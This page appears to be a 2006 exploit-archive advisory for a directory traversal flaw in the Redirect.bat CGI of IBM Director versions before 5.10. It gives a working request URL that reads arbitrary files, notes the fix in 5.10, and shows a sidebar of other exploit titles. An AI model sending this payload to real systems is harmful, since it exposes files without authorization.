exploits , vulnerabilities , articles , IBM Director < 5.10 (Redirect.bat) Directory Transversal Vulnerability

2006-09-07

IBM Director < 5.10 (Redirect.bat) Directory Transversal Vulnerability

Rated as : High Risk

There is a vulnerability within the Redirect.bat file on a ibm director
cgi which allows a directory transversal to take place which in turn
exposes most files on the system to be read without authorization.

http://ip.of.system:411/cgi-bin/Redirect.bat?file=%7C..\..\..\..\..\..\....\..\program%20files\ibm\director\version.key
(or insert evil file here)


This was fixed in the 5.10 version of ibm director.

-Daniel Clemens
securitydot.net - 2006-09-07

Exploits - newest 10 RSS | More

2007-06-15 56177 Hits XOOPS Module Cjay Content 3 Remote File Inclusion Vulnerability
2007-06-15 33451 Hits XOOPS Module XT-Conteudo (spaw_root) RFI Vulnerability
2007-06-15 41602 Hits XOOPS Module XFsection (modify.php) Remote File Inclusion Vulnerability
2007-06-15 28801 Hits Microsoft Office MSODataSourceControl COM-object BoF PoC (0day)
2007-06-13 19326 Hits Microsoft Speech API ActiveX control Remote BoF Exploit (xp sp2)
2007-06-13 16350 Hits Microsoft Speech API ActiveX control Remote BoF Exploit (win2k sp4)
2007-06-13 18987 Hits Safari 3 for Windows Beta Remote Command Execution PoC
2007-06-13 16225 Hits Ace-FTP Client 1.24a Remote Buffer Overflow PoC
2007-06-09 33053 Hits MoviePlay 4.76 .lst File Local Buffer Overflow Exploit
2007-06-09 16865 Hits e-Vision CMS <= 2.02 SQL Injection/Remote Code Execution Exploit